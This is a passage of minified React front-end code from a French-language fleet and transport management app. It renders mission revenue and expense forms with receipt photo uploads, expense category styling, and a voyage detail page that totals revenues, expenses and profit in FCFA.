text-xs&quot;,children:e.montantRecu&lt;e.montantPrevu?a.jsxs(a.Fragment,{children:[a.jsx(Kn,{className:&quot;h-3 w-3 text-orange-500&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-orange-600 dark:text-orange-400&quot;,children:[&quot;Prévu: &quot;,n(e.montantPrevu)]})]}):a.jsxs(a.Fragment,{children:[a.jsx(na,{className:&quot;h-3 w-3 text-green-500&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-green-600 dark:text-green-400&quot;,children:[&quot;Prévu: &quot;,n(e.montantPrevu)]})]})})]})]})}),e.origineContrat&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground line-clamp-2&quot;,children:e.origineContrat}),a.jsx(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Wr(new Date(e.createdAt),&quot;d MMM yyyy&quot;,{locale:Hr})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 flex-shrink-0&quot;,children:[t&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(e),className:&quot;h-8 w-8&quot;,children:a.jsx(z1,{className:&quot;h-4 w-4&quot;})}),r&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(e.id),className:&quot;h-8 w-8 text-destructive hover:text-destructive&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})})})}function R3({missionId:e,onAdd:t,trigger:r,revenue:n,mode:i=&quot;create&quot;,open:s,onOpenChange:o}){const[l,c]=I.useState(!1),d=s!==void 0,u=d?s:l,h=d?o||(()=&gt;{}):c,[p,A]=I.useState({montantPrevu:n?.montantPrevu,montantRecu:n?.montantRecu,origineContrat:n?.origineContrat}),[y,v]=I.useState(null),[w,j]=I.useState(null),E=I.useRef(null),S=I.useRef(null);I.useEffect(()=&gt;{n&amp;&amp;A({montantPrevu:n.montantPrevu,montantRecu:n.montantRecu,origineContrat:n.origineContrat})},[n]);const _=R=&gt;{const T=R.target.files?.[0];if(T){v(T);const M=new FileReader;M.onloadend=()=&gt;{j(M.result)},M.readAsDataURL(T)}},C=()=&gt;{v(null),j(null),E.current&amp;&amp;(E.current.value=&quot;&quot;),S.current&amp;&amp;(S.current.value=&quot;&quot;)},Q=R=&gt;{R.preventDefault(),t?.({...p,missionId:e,receiptFile:y}),h(!1),i===&quot;create&quot;&amp;&amp;(A({montantPrevu:void 0,montantRecu:void 0,origineContrat:void 0}),v(null),j(null),E.current&amp;&amp;(E.current.value=&quot;&quot;),S.current&amp;&amp;(S.current.value=&quot;&quot;))};return a.jsxs(En,{open:u,onOpenChange:h,children:[!d&amp;&amp;a.jsx(ah,{asChild:!0,children:r||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-revenue&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),i===&quot;edit&quot;?&quot;Modifier le revenu&quot;:&quot;Ajouter un revenu&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:i===&quot;edit&quot;?&quot;Modifier le revenu&quot;:&quot;Ajouter un revenu&quot;}),a.jsx(Mn,{children:i===&quot;edit&quot;?&quot;Modifiez les informations du revenu de cette mission.&quot;:&quot;Enregistrez un revenu pour cette mission (tour).&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:Q,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;montantPrevu&quot;,children:&quot;Montant prévu (FCFA)&quot;}),a.jsx(Xe,{id:&quot;montantPrevu&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;100000&quot;,value:p.montantPrevu||&quot;&quot;,onChange:R=&gt;A({...p,montantPrevu:R.target.value?parseFloat(R.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-expected-amount&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;montantRecu&quot;,children:&quot;Montant reçu (FCFA)&quot;}),a.jsx(Xe,{id:&quot;montantRecu&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;100000&quot;,value:p.montantRecu||&quot;&quot;,onChange:R=&gt;A({...p,montantRecu:R.target.value?parseFloat(R.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-received-amount&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;origineContrat&quot;,children:&quot;Origine du contrat&quot;}),a.jsx(Xe,{id:&quot;origineContrat&quot;,placeholder:&quot;Client, entreprise, etc.&quot;,value:p.origineContrat||&quot;&quot;,onChange:R=&gt;A({...p,origineContrat:R.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-contract-origin&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;receipt&quot;,children:&quot;Photo de la pièce justificative (optionnel)&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;S.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prendre une photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;E.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]}),a.jsx(&quot;input&quot;,{ref:E,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:_,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:S,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:_,className:&quot;hidden&quot;}),w&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:w,alt:&quot;Aperçu de la pièce justificative&quot;,className:&quot;w-full h-auto rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:C,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;h(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:i===&quot;edit&quot;?&quot;Modifier&quot;:&quot;Ajouter&quot;})]})]})]})]})}function sO({missionId:e,onAdd:t,trigger:r,expense:n,mode:i=&quot;create&quot;}){const[s,o]=I.useState(!1),[l,c]=I.useState({categorie:n?.categorie||&quot;autre&quot;,montant:n?.montant||0,date:n?.date?n.date instanceof Date?n.date.toISOString().split(&quot;T&quot;)[0]:Wr(new Date(n.date),&quot;yyyy-MM-dd&quot;):new Date().toISOString().split(&quot;T&quot;)[0],description:n?.description||&quot;&quot;,justificatifUrl:n?.justificatifUrl||&quot;&quot;}),[d,u]=I.useState(null),[h,p]=I.useState(null),A=I.useRef(null),y=I.useRef(null),v=E=&gt;{const S=E.target.files?.[0];if(S){u(S);const _=new FileReader;_.onloadend=()=&gt;{p(_.result)},_.readAsDataURL(S)}},w=()=&gt;{u(null),p(null),A.current&amp;&amp;(A.current.value=&quot;&quot;),y.current&amp;&amp;(y.current.value=&quot;&quot;)},j=E=&gt;{E.preventDefault(),t?.({...l,missionId:e,receiptFile:d}),o(!1),i===&quot;create&quot;&amp;&amp;(c({categorie:&quot;autre&quot;,montant:0,date:new Date().toISOString().split(&quot;T&quot;)[0],description:&quot;&quot;,justificatifUrl:&quot;&quot;}),u(null),p(null),A.current&amp;&amp;(A.current.value=&quot;&quot;),y.current&amp;&amp;(y.current.value=&quot;&quot;))};return a.jsxs(En,{open:s,onOpenChange:o,children:[a.jsx(ah,{asChild:!0,children:r||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-expense&quot;,className:&quot;w-full md:w-auto&quot;,size:&quot;sm&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),i===&quot;edit&quot;?&quot;Modifier la dépense&quot;:&quot;Ajouter une dépense&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:i===&quot;edit&quot;?&quot;Modifier la dépense&quot;:&quot;Ajouter une dépense&quot;}),a.jsx(Mn,{children:i===&quot;edit&quot;?&quot;Modifiez les informations de la dépense de cette mission.&quot;:&quot;Enregistrez une dépense pour cette mission (frais administratifs, documentation, etc.).&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:j,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;categorie&quot;,children:&quot;Catégorie&quot;}),a.jsxs(rn,{value:l.categorie,onValueChange:E=&gt;c({...l,categorie:E}),children:[a.jsx(Xr,{id:&quot;categorie&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner une catégorie&quot;})}),a.jsx(en,{children:FC.map(E=&gt;a.jsxs(Qt,{value:E,children:[E===&quot;carburant&quot;&amp;&amp;&quot;Carburant&quot;,E===&quot;peage&quot;&amp;&amp;&quot;Péage&quot;,E===&quot;douane&quot;&amp;&amp;&quot;Douane&quot;,E===&quot;reparation&quot;&amp;&amp;&quot;Réparation&quot;,E===&quot;consommables&quot;&amp;&amp;&quot;Consommables&quot;,E===&quot;main_oeuvre&quot;&amp;&amp;&quot;Main d&#039;œuvre&quot;,E===&quot;autre&quot;&amp;&amp;&quot;Autre&quot;]},E))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;montant&quot;,children:&quot;Montant (FCFA)&quot;}),a.jsx(Xe,{id:&quot;montant&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,placeholder:&quot;10000&quot;,value:l.montant||&quot;&quot;,onChange:E=&gt;c({...l,montant:E.target.value?parseFloat(E.target.value):0}),min:&quot;0&quot;,required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-amount&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;date&quot;,children:&quot;Date&quot;}),a.jsx(Xe,{id:&quot;date&quot;,type:&quot;date&quot;,value:l.date,onChange:E=&gt;c({...l,date:E.target.value}),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-date&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;description&quot;,children:&quot;Description&quot;}),a.jsx(Xe,{id:&quot;description&quot;,placeholder:&quot;Description de la dépense&quot;,value:l.description||&quot;&quot;,onChange:E=&gt;c({...l,description:E.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-description&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;receipt&quot;,children:&quot;Photo de la pièce justificative (optionnel)&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;y.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prendre une photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;A.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]}),a.jsx(&quot;input&quot;,{ref:A,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:v,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:y,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:v,className:&quot;hidden&quot;}),h&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:h,alt:&quot;Aperçu de la pièce justificative&quot;,className:&quot;w-full h-auto rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:w,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;o(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:i===&quot;edit&quot;?&quot;Modifier&quot;:&quot;Ajouter&quot;})]})]})]})]})}const a4={carburant:cv,peage:ei,douane:dm,reparation:ty,consommables:il,main_oeuvre:Sm,autre:Gl},s4={carburant:&quot;bg-yellow-100 text-yellow-800 border-yellow-300 dark:bg-yellow-900/20 dark:text-yellow-400&quot;,peage:&quot;bg-blue-100 text-blue-800 border-blue-300 dark:bg-blue-900/20 dark:text-blue-400&quot;,douane:&quot;bg-purple-100 text-purple-800 border-purple-300 dark:bg-purple-900/20 dark:text-purple-400&quot;,reparation:&quot;bg-red-100 text-red-800 border-red-300 dark:bg-red-900/20 dark:text-red-400&quot;,consommables:&quot;bg-green-100 text-green-800 border-green-300 dark:bg-green-900/20 dark:text-green-400&quot;,main_oeuvre:&quot;bg-orange-100 text-orange-800 border-orange-300 dark:bg-orange-900/20 dark:text-orange-400&quot;,autre:&quot;bg-gray-100 text-gray-800 border-gray-300 dark:bg-gray-900/20 dark:text-gray-400&quot;},bne={carburant:&quot;Carburant&quot;,peage:&quot;Péage&quot;,douane:&quot;Douane&quot;,reparation:&quot;Réparation&quot;,consommables:&quot;Consommables&quot;,main_oeuvre:&quot;Main d&#039;œuvre&quot;,autre:&quot;Autre&quot;};function w6({expense:e,onEdit:t,onDelete:r,onViewJustificatif:n}){const i=e.categorie||e.category||&quot;autre&quot;,s=a4[i]||a4.autre,o=s4[i]||s4.autre,l=bne[i]||i,c=e.montant??e.amountFcfa??null,d=c!=null?Number(c):0,u=isNaN(d)||!isFinite(d)?0:d,h=new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0,maximumFractionDigits:0}).format(u),p=e.date??e.expenseAt??null,A=e.justificatifUrl??e.receiptUrl??null;return a.jsx(it,{className:&quot;hover:shadow-md transition-shadow&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:`p-3 rounded-lg border ${o} flex-shrink-0`,children:a.jsx(s,{className:&quot;h-6 w-6&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0 space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:`${o} mb-2`,children:l}),a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold text-foreground&quot;,children:h})]}),A&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;n?.(A),className:&quot;flex-shrink-0&quot;,children:a.jsx(ey,{className:&quot;h-5 w-5&quot;})})]}),e.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground line-clamp-2&quot;,children:e.description}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-4 text-xs text-muted-foreground&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),a.jsx(&quot;span&quot;,{children:p?(()=&gt;{try{const y=new Date(p);return isNaN(y.getTime())?&quot;Date invalide&quot;:Wr(y,&quot;d MMM yyyy&quot;,{locale:Hr})}catch{return&quot;Date invalide&quot;}})():&quot;Date non disponible&quot;})]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 flex-shrink-0&quot;,children:[t&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(e),className:&quot;h-8 w-8&quot;,children:a.jsx(z1,{className:&quot;h-4 w-4&quot;})}),r&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(e.id),className:&quot;h-8 w-8 text-destructive hover:text-destructive&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})})})}const WHe={planned:&quot;En préparation&quot;,in_progress:&quot;En cours&quot;,completed:&quot;Terminée&quot;,cancelled:&quot;Annulée&quot;},KHe={planned:Kn,in_progress:Bl,completed:na,cancelled:U1},oO={planned:&quot;bg-purple-500/10 text-purple-700 dark:text-purple-400 border-purple-300&quot;,in_progress:&quot;bg-green-500/10 text-green-700 dark:text-green-400 border-green-300&quot;,completed:&quot;bg-green-500/10 text-green-700 dark:text-green-400 border-green-300&quot;,cancelled:&quot;bg-gray-500/10 text-gray-700 dark:text-gray-400 border-gray-300&quot;};function YHe(){const[,e]=mg(&quot;/voyages/:id&quot;),[t,r]=Gi(),n=e?.id?parseInt(e.id):null,i=new URLSearchParams(window.location.search),s=i.get(&quot;incident&quot;)?parseInt(i.get(&quot;incident&quot;)):null,o=i.get(&quot;tab&quot;),l=s,[c,d]=I.useState(o||(l?&quot;journal&quot;:&quot;resume&quot;));I.useEffect(()=&gt;{const ie=new URLSearchParams(window.location.search),ae=ie.get(&quot;tab&quot;),Ee=ie.get(&quot;incident&quot;);ae?d(ae):Ee&amp;&amp;d(&quot;journal&quot;)},[t]),I.useEffect(()=&gt;{const ie=new URLSearchParams(window.location.search),ae=ie.get(&quot;tab&quot;),Ee=ie.get(&quot;incident&quot;);ae?d(ae):Ee&amp;&amp;d(&quot;journal&quot;)},[]),I.useEffect(()=&gt;{c===&quot;journal&quot;&amp;&amp;o===&quot;journal&quot;&amp;&amp;setTimeout(()=&gt;{const ie=document.querySelector(&#039;[data-tab=&quot;journal&quot;]&#039;);ie?ie.scrollTop=ie.scrollHeight:window.scrollTo({top:document.body.scrollHeight,behavior:&quot;smooth&quot;})},1e3)},[c,o]);const{data:u,isLoading:h,error:p}=D8(n||0),{data:A,isLoading:y}=dw(n),{toast:v}=Er(),{data:w}=ih(),{data:j=[]}=LS(n||0),E=j.length&gt;0,S=zPe(),[_,C]=I.useState(!1),[Q,R]=I.useState(null),[T,M]=I.useState(null),[O,$]=I.useState(null),[P,L]=I.useState(null),[X,W]=I.useState(null),[G,J]=I.useState(!1),[q,ee]=I.useState(!1),[ne,V]=I.useState(!1),ue=w&amp;&amp;(w.role===&quot;admin&quot;||w.role===&quot;gestionnaire_parc&quot;||w.role===&quot;gestionnaire_mobile&quot;||w.role===&quot;secretaire&quot;),de=_r({mutationFn:async({tripId:ie,data:ae})=&gt;await $t(`/api/trips/${ie}`,{method:&quot;PATCH&quot;,body:ae}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),v({title:&quot;Succès&quot;,description:&quot;Informations mises à jour avec succès&quot;}),$(null),M(null),L(null),W(null)},onError:ie=&gt;{v({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ie.message||&quot;Impossible de mettre à jour les informations&quot;})}}),xe=async()=&gt;{if(!O)return;let ie=O.loadingWeighingTicketUrl||void 0,ae=O.unloadingWeighingTicketUrl||void 0,Ee=O.loadingWeighingTicketCloudinaryPublicId||void 0,re=O.unloadingWeighingTicketCloudinaryPublicId||void 0;if(P)try{const We=await gne(P);ie=We.url,Ee=We.publicId}catch{v({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader le ticket de pesée de chargement&quot;});return}if(X)try{const We=await v$e(X);ae=We.url,re=We.publicId}catch{v({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader le ticket de pesée de déchargement&quot;});return}de.mutate({tripId:O.id,data:{loadingWeighingTicketUrl:ie||null,unloadingWeighingTicketUrl:ae||null,loadingWeighingTicketCloudinaryPublicId:Ee||null,unloadingWeighingTicketCloudinaryPublicId:re||null}})},{data:_e=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),Ce=u?.trips||[],we=I.useMemo(()=&gt;(Array.isArray(Ce)?Ce:[]).map(ae=&gt;{const Ee=_e.find(Tt=&gt;Tt.id===ae.vehicleId);let re;ae.startedAt?re=new Date(ae.startedAt):ae.dateDepart?re=new Date(ae.dateDepart):re=new Date,isNaN(re.getTime())&amp;&amp;(re=new Date);let We=null;if(ae.endedAt){const Tt=new Date(ae.endedAt);isNaN(Tt.getTime())||(We=Tt)}else if(ae.dateArrivee){const Tt=new Date(ae.dateArrivee);isNaN(Tt.getTime())||(We=Tt)}return{...ae,vehicleRegistration:Ee?.immatriculation||&quot;&quot;,vehiclePhotoUrl:Ee?.photoUrl||null,origine:ae.fromLabel||ae.origine||&quot;&quot;,destination:ae.toLabel||ae.destination||&quot;&quot;,dateDepart:re,dateArrivee:We}}),[Ce,_e]),ve=I.useMemo(()=&gt;Array.from(new Set(we.map(ie=&gt;ie.vehicleId).filter(Boolean))),[we]),{data:Ne=[]}=cr({queryKey:[&quot;/api/breakdowns&quot;,ve],queryFn:async()=&gt;{const ie=ve.map(Ee=&gt;T8(Ee));return(await Promise.all(ie)).flat()},enabled:ve.length&gt;0});I.useMemo(()=&gt;{const ie=new Set;return Ne.forEach(ae=&gt;{we.forEach(Ee=&gt;{Ee.vehicleId===ae.vehicleId&amp;&amp;ie.add(Ee.id)})}),ie},[Ne,we]),I.useMemo(()=&gt;{const ie=new Map;return ve.forEach(ae=&gt;{const Ee=Ne.filter(re=&gt;re.vehicleId===ae);Ee.length&gt;0&amp;&amp;ie.set(ae,Ee)}),ie},[Ne,ve]);const{data:Ie=[],isLoading:be}=QHe(n||0),{data:Re=[],isLoading:Pe}=HHe(n||0),{data:Ke=[],isLoading:tt}=cr({queryKey:[&quot;/api/voyages&quot;,n,&quot;expenses&quot;],queryFn:async()=&gt;{if(!n)return[];const{fetchVoyageExpenses:ie}=await On(async()=&gt;{const{fetchVoyageExpenses:ae}=await Promise.resolve().then(()=&gt;y$);return{fetchVoyageExpenses:ae}},void 0);return ie(n)},enabled:!!n}),{data:pt=[],isLoading:dt}=cr({queryKey:[&quot;/api/voyages&quot;,n,&quot;trip-expenses&quot;],queryFn:async()=&gt;[],enabled:!1}),Oe=FHe(),Pt=OHe(),Kt=LHe(),gt=qHe(),Jt=GHe(),Bt=I.useMemo(()=&gt;{const ie=Ie.reduce((H,ze)=&gt;{const Ze=ze.montantRecu!=null?Number(ze.montantRecu):0,he=ze.montantPrevu!=null?Number(ze.montantPrevu):0;return H+(Ze||he||0)},0),ae=pt.reduce((H,ze)=&gt;{const Ze=ze.montant!=null?Number(ze.montant):0;return H+(isNaN(Ze)?0:Ze)},0),Ee=Re.reduce((H,ze)=&gt;{const Ze=ze.montant??ze.amountFcfa??null,he=Ze!=null?Number(Ze):0;return H+(isNaN(he)?0:he)},0),re=Ke.reduce((H,ze)=&gt;{const Ze=ze.amountFcfa!=null?Number(ze.amountFcfa):0;return H+(isNaN(Ze)?0:Ze)},0),We=ae+Ee+re,Tt=ie-We;return{totalRevenues:isNaN(ie)?0:ie,totalExpenses:isNaN(We)?0:We,profit:isNaN(Tt)?0:Tt,voyageExpensesTotal:isNaN(re)?0:re}},[Ie,pt,Re,Ke]),tr=ie=&gt;{Oe.mutate(ie)},sr=ie=&gt;{R(ie)},xt=ie=&gt;{Q?.id&amp;&amp;(Pt.mutate({id:Q.id,data:ie}),R(null))},wt=ie=&gt;{confirm(&quot;Êtes-vous sûr de vouloir supprimer ce revenu ?&quot;)&amp;&amp;Kt.mutate(ie)},Lt=ie=&gt;{gt.mutate(ie)},ir=ie=&gt;{confirm(&quot;Êtes-vous sûr de vouloir supprimer cette dépense ?&quot;)&amp;&amp;Jt.mutate(ie)},He=ie=&gt;{const ae=ie!=null?Number(ie):0;return isNaN(ae)||!isFinite(ae)?&quot;0 F CFA&quot;:new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0,maximumFractionDigits:0}).format(ae)},ce=I.useMemo(()=&gt;{if(!u?.expectedTours||u.expectedTours===0)return{completed:0,total:1,percentage:0};const ae=(Array.isArray(Ce)?Ce:[]).filter(We=&gt;We.status===&quot;completed&quot;).length,Ee=u.expectedTours,re=Ee&gt;0?Math.min(ae/(Ee*2)*100,100):0;return{completed:ae,total:Ee*2,percentage:re}},[Ce,u?.expectedTours]),Le=I.useMemo(()=&gt;{const ie={};return Re.forEach(ae=&gt;{const Ee=ae.categorie||ae.category||&quot;autre&quot;;ie[Ee]||(ie[Ee]=[]),ie[Ee].push(ae)}),ie},[Re]);if(!n)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(&quot;/voyages&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(it,{className:&quot;p-8&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-center text-muted-foreground&quot;,children:&quot;ID de voyage invalide&quot;})})]});if(h)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(&quot;/voyages&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})]});if(p||!u)return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(&quot;/voyages&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsx(it,{className:&quot;p-8&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-center text-destructive&quot;,children:&quot;Voyage non trouvé&quot;})})]});const rt=KHe[u.status]||na;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;r(&quot;/voyages&quot;),children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(it,{className:&quot;border-2&quot;,children:a.jsx(Et,{className:&quot;p-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;h1&quot;,{className:&quot;text-3xl font-bold mb-2&quot;,children:u.title}),a.jsx(&quot;p&quot;,{className:&quot;text-lg text-muted-foreground font-medium&quot;,children:u.code})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row gap-4 md:gap-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(dm,{className:&quot;h-5 w-5 text-muted-foreground mt-1 flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-1&quot;,children:&quot;Client&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:u.clientName})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5 text-primary mt-1 